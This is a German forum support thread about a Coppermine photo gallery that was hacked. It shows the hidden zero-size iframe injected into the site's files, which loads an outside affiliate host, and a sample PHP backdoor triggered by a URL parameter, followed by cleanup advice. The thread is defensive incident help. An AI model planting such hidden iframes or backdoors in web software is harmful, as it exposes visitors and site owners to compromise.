Gallerie nicht mehr erreichbar Gallerie nicht mehr erreichbar
 

News:

CPG Release 1.6.26
Correct PHP8.2 issues with user and language managers.
Additional fixes for PHP 8.2
Correct PHP8 error with SMF 2.0 bridge.
Correct IPTC supplimental category parsing.
Download and info HERE

Main Menu

Gallerie nicht mehr erreichbar

Started by NitroRules, May 21, 2007, 12:06:14 PM

Previous topic - Next topic

0 Members and 2 Guests are viewing this topic.

NitroRules

 ???  ???  ???

Seit gestern läßt sich unsere Vereinsgalerie nicht mehr öffnen. Es kommt keine Fehlermeldung und die Seite bleibt leer.

Es wurde nichts an der Konfiguration geändert. Alle Dateien befinden sich noch auf dem Server. Datenbank ist auch da...  Was kann das sein?

http://rc-modellboot-freunde-bavaria.de/vereinsgalerie/index.php

Bin für jede Hilfe dankbar.

Gruß
Florian
Florian

fwe77

Hallo Florian,

hast Du schon beim Provider nachgefragt? Das sieht ein wenig nach Server (PHP) aus!

Gruß. Frank.

NitroRules

Hi Frank,

phpBB (geridged mit Coppermine) läuft aber noch. Kann es dann am Server liegen?
Florian

Marenga


NitroRules

Quote from: Marenga on May 21, 2007, 12:43:45 PM
Der Name des Vereins hat sich geändert. Neue Domain.
tztztz

http://www.powerboat-friends-freising.de/

Was willst Du damit genau sagen?  ???

Hat nichts miteinander zu tun vom Webspace her. Hier läuft die Galerie ja auch noch...
Florian

NitroRules

Nur nochmal, um Unklarheiten aus dem Weg zu schaffen:

Ich habe 2 Galerien am laufen. Eine geht, das ist die auf der Domain http://www.powerboat-friends-freising.de/  (KLICK)

Die 2., auf die sich der Thread hier jetzt bezieht geht nicht mehr. Es erscheint nur eine leere Seite, der IE sagt "Fertig" und es kommt nichts. Die Domain ist ansonsten aber erreichbar und es läuft auch noch ein Board mit php, das erreichbar ist. (phpBB)
Florian

Joachim Müller

http://rc-modellboot-freunde-bavaria.de/ zeigt ein Vereinslogo, garniert mit dem Text "Hier entsteht eine neue Internetpräsenz". Ist das beabsichtigt, oder hat der Provider möglicherweise einen Crash gefahren und einen älteren Stand hochgeladen aus einem Backup?

Die Nur-Text-Datei http://rc-modellboot-freunde-bavaria.de/vereinsgalerie/sql/basic.sql (Endung "sql"!) wird beim Aufrufen nicht (wie erwartet) im Browser angezeigt, sondern zum Download angeboten. Nun ja, auch das könnte Absicht des Webhost sein.
Ein kurzer Check nach der Doku (http://rc-modellboot-freunde-bavaria.de/vereinsgalerie/docs/index.htm) zeigt, dass HTML Seiten OK angezeigt werden.

Verzeichnisse ohne index-Datei motzen mit forbidden - das ist soweit auch OK.





Kreisen wir das Problem also ein:
Möglichkeit 1: Beim Webhost ist Sand im Getriebe. Nachfragen kostet nix.
Möglichkeit 2: Eine Datei ist beschädigt. Da sich schlecht sagen lässt, welche Datei das ist schlage ich vor, so vorzugehen wie bei einem Upgrade (vgl. entsprechendes Kapitel der Doku): Backup von allen Dateien ziehen per FTP, dann frisches cpg1.4.10 Paket herunterladen von uns, entpacken und hochladen (vorhandene Dateien überschreiben).

NitroRules

Quote from: GauGau on May 21, 2007, 05:52:49 PM
http://rc-modellboot-freunde-bavaria.de/ zeigt ein Vereinslogo, garniert mit dem Text "Hier entsteht eine neue Internetpräsenz". Ist das beabsichtigt, oder hat der Provider möglicherweise einen Crash gefahren und einen älteren Stand hochgeladen aus einem Backup?

Das ist beabsichtigt. Bin noch nicht weiter gekommen...  ;D



Wie gesagt... alles andere funzt einwandfrei.

Werd mich mal an Deine Lösungspunkte ranmachen.

Thx schon mal...
Florian

NitroRules

Ok... Galerie läuft wieder. Ich hab mir die Arbeit gemacht und die Dateien nacheinander ausgetauscht. (hatte noch ein 2-Monate altes Backup)
Bei den "includes" wurde ich fündig. Nach Austauschen der "debugger.inc.php" lief die Galerie wieder.

Hab dann mal ein bisschen rumgeforscht und folgendes gefunden: (in der debugger selbst und dann noch in der "config.inc.php", was ich ziemlich krass finde, da dort auch die Zugriffsdaten für die Datenbank stehen)

<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>

Da hat sich doch was reingehackt...

So sieht der Anfang der Startseite momentan im Quelltext aus:

<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Pragma" content="no-cache" />
<title>RC Modellboot Freunde Bavaria e.V. - Galerie</title>

<link rel="stylesheet" href="themes/classic/style.css" type="text/css" />



Ist die "debugger-Datei" ein Schutz vor Hackern. Quasi ein Shut-Down des Scripts?
Florian

NitroRules

Wie werde ich diesen Müll wieder los?
Florian

Joachim Müller

Einfach wie oben beschrieben alle Dateien ersetzen. Sieht tatsächlich nach Hacking aus. Die Frage stellt sich also: wie ist der Hacker auf den Server gekommen? Wie hat er das Recht erhalten, Dateien hochzuladen? Unbedingt alle Passwörter (speziell FTP-Passwort) tauschen und mit dem Webhost sprechen. Ebenfalls nach Backdoors scannen (PHP oder Perl-Dateien checken, vor allem im albums-Verzeichnis).

NitroRules

Der erwähnte Code befindet sich am Ende aller Dateien aus dem Verzeichnis "include". Zusätzlich habe ich nochmal in "albums" geschaut... hier war der Code auch in den "index.html"-Dateien (auch in der im Ornder "edit")

FTP-Passwort habe ich mal neu gesetzt.

Vielleicht sollte ich noch sagen, dass ich in letzter Zeit vermehrt Spamkommentare hatte, trotz Capacha-Plugin.  >:(
Florian

Joachim Müller

Der von Dir genannte Code ist nur die Folge (defacing). Das defacing stoppt, wenn Du alle "infizierten" Dateien durch saubere ersetzt (wie oben beschrieben). Du musst allerdings das Backdoor selbst finden, um ein erneutes defacing zu vermeiden.

NitroRules

Wie kann den so ein "backdoor" ausschaun?
Florian

Joachim Müller

Müsste eine ausführbare Datei sein (also mit der endung .php, .pl oder ähnlichem). Der Trick bei Backdoors ist ja, dass sich die Erzeuger der Backdoors Mühe geben, nicht entdeckt zu werden. Daher gehen sie entweder in die Tiefe von irgendwelchen Unterverzeichnissen mit ihrem Backdoor (z.B. in coppermine/albums/userpics/10235/~/boses_backdoor-skript.php) oder ersetzen selten gebrauchte Dateien des Originals, die harmlos aussehen bzw. so, als ob sie dazu gehören würden durch böse Dateien. Musst also nach ausführbaren Dateien suchen, die nicht Bestandteil des Coppermine-Pakets sind und dadurch bei einem Update auch nicht ersetzt würden. Wenn ich ein böser Bube wäre und ein Backdoor gegen Coppermine schreiben würde, dann würde ich eine bestehende Coppermine-Datei so aufbrezeln, dass sie weiter funktioniert und nur nach Übergabe eines speziellen Parameters in der URL ihr böses Werk verrichtet. Das könnte beispielsweise coppermine/albums/index.php sein, die ab Werk so aussieht:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Coppermine Photo Gallery - Albums Folder</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="refresh" content="0; url=../index.php">
<style type="text/css">
<!--
body {
        font-family : Verdana, Arial, Helvetica, sans-serif;
        font-size: 12px;
        background : #F7F7F7 ;
        color : Black;
        margin: 20px;
}

h1{
        font-weight: bold;
        font-size: 22px;
        font-family: "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
        text-decoration: none;
        line-height : 120%;
        color : #000000;
}

p {
        font-family : Verdana, Arial, Helvetica, sans-serif;
        font-size: 12px;
        margin: 10px 10px 0px 0px;
}

-->
</style>
</head>
<body>
<h1><img src="../images/coppermine_logo.png" width="300" height="75" /></h1>
<h1>Coppermine Photo Gallery - Albums Folder</h1>
<p align="center">The contents of this folder aren't meant to be browsed. Visit the Coppermine Photo Gallery instead - you'll be redirected.
If you don't want to wait (or your browser doesn't support redirect), click <a href="../index.php">here</a>.</p>

</body>
</html>
Um daraus ein böses Backdoor zu machen könnte man sie wie folgt ändern:<?php
if ($_GET['geheim'] == 'attacke') {
 echo 
'Muhaha, ich bin der Böse Backdoor-Lümmel und könnte hier die hellgelbsten Dinge geschehen lassen';
 die;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Coppermine Photo Gallery - Albums Folder</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="refresh" content="0; url=../index.php">
<style type="text/css">
<!--
body {
        font-family : Verdana, Arial, Helvetica, sans-serif;
        font-size: 12px;
        background : #F7F7F7 ;
        color : Black;
        margin: 20px;
}

h1{
        font-weight: bold;
        font-size: 22px;
        font-family: "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
        text-decoration: none;
        line-height : 120%;
        color : #000000;
}

p {
        font-family : Verdana, Arial, Helvetica, sans-serif;
        font-size: 12px;
        margin: 10px 10px 0px 0px;
}

-->
</style>
</head>
<body>
<h1><img src="../images/coppermine_logo.png" width="300" height="75" /></h1>
<h1>Coppermine Photo Gallery - Albums Folder</h1>
<p align="center">The contents of this folder aren't meant to be browsed. Visit the Coppermine Photo Gallery instead - you'll be redirected.
If you don't want to wait (or your browser doesn't support redirect), click <a href="../index.php">here</a>.</p>

</body>
</html>


Naja, Du wolltest wahrscheinlich keine Anleitung, wie man Backdoors schreibt, sondern wie man sie loswird. Ich hab das nur mal erklärt, um zu verdeutlichen, dass es nicht so einfach ist, ein Backdoor zu erkennen.

Also (wie oben beschrieben):
* Backup von allen  Dateien auf dem Webserver machen (das dauert lange, ich weiss) per FTP und auf die lokale Festplatte des Clients schreiben.
* Sauberes Coppermine-Paket von uns herunterladen und in einem anderen Verzeichnis auf dem Client entpacken.
* WinMerge benutzen, um unterschiedliche Dateien zu sehen - so erkennst Du, welche Dateien geändert wurden.
* WinMerge in einem neuen Durchgang anweisen, nur eindeutige Dateien zu suchen (also Dateien, die nur im Backup und nicht dem sauberen Coppermine-Verzeichnis existieren). Diese Liste schaust Du Dir intensiv an: alles, was .jpg oder .gif heisst kannst Du getrost ignorieren. Alle anderen Dateien verdienen Beachtung. Höchste Alarmstufe bei ausführbaren Dateien.
* Wenn Du solche eindeutigen "Bösewichter" identifiziert hast, dann lösche sie auf der Server-Seite (aber nicht im Backup auf dem Client).
* Wenn Du alle "überschüssigen" Dateien durchgegangen bist, dann lade wie angesprochen die "sauberen" Coppermine-Dateien auf den Server hoch wie in der Doku beschrieben.

Es tut mir ja schrecklich leid, dass Deine Seite defaced wurde. Ich bitte aber um Verständnis dafür, dass wir nur wenig Hilfestellung geben können, wie man eine Seite nach einem erfogreichen Angriff wieder sauber bekommt. Letztlich sind dafür Spezialisten notwendig, die sich in allen BlackHat-Hacker-Tricks auskennen und die entsprechenden Gegenmaßnahmen ergreifen können. Ein weiterer Beweis dafür, wie wichtig regelmäßige Backups sind...

Joachim

NitroRules

Hi Joachim,

erstmal Danke für die Zeit, die Du in mein Problem investierst. Ich werde mich die Tage mal an Deine Ansätze halten...

Ist es eigentlich zu 100% sicher, dass der Hacker FTP-Zugriffe hatte? Oder geht das auch irgendwie anders?
Florian

NitroRules

Nochwas... angenommen ich hab den Übeltäter gefunden und beseitigt... was schütz mich in Zukunft vor solchen Angriffen?

Jetzt bitte nicht steinigen...  ;D aber bisher habe ich meine Verzeichnisse nicht per .htaccess geschützt. Würde das was bringen? Ist das bei Coppermine nötig?
Florian

Joachim Müller

Quote from: NitroRules on May 22, 2007, 02:37:50 PM
Ist es eigentlich zu 100% sicher, dass der Hacker FTP-Zugriffe hatte? Oder geht das auch irgendwie anders?
Nein, der Hacker muss nicht unbedingt FTP-Zugriff gehabt haben. Ein Fehler in Coppermine oder einer anderen Applikation kann ebenso zu hochladen des Backdoors gedient haben wie ein Fehler im Server-Setup. Das ist aber sehr spekulativ.

Es gibt keine komplett fehlerfreie Software, daher kann ich Coppermine nicht ausschliessen (ebensowenig wie irgend eine andere Applikation). Möglich ist alles.

Quote from: NitroRules on May 22, 2007, 02:40:59 PM
was schütz mich in Zukunft vor solchen Angriffen?
Regelmäßiges einspielen von Maintenance releases und patches. Regelmäßiges Backup.

Quote from: NitroRules on May 22, 2007, 02:40:59 PMJetzt bitte nicht steinigen...  ;D aber bisher habe ich meine Verzeichnisse nicht per .htaccess geschützt. Würde das was bringen?
Nein, das würde ja auch legitime Besucher aussen vor halten.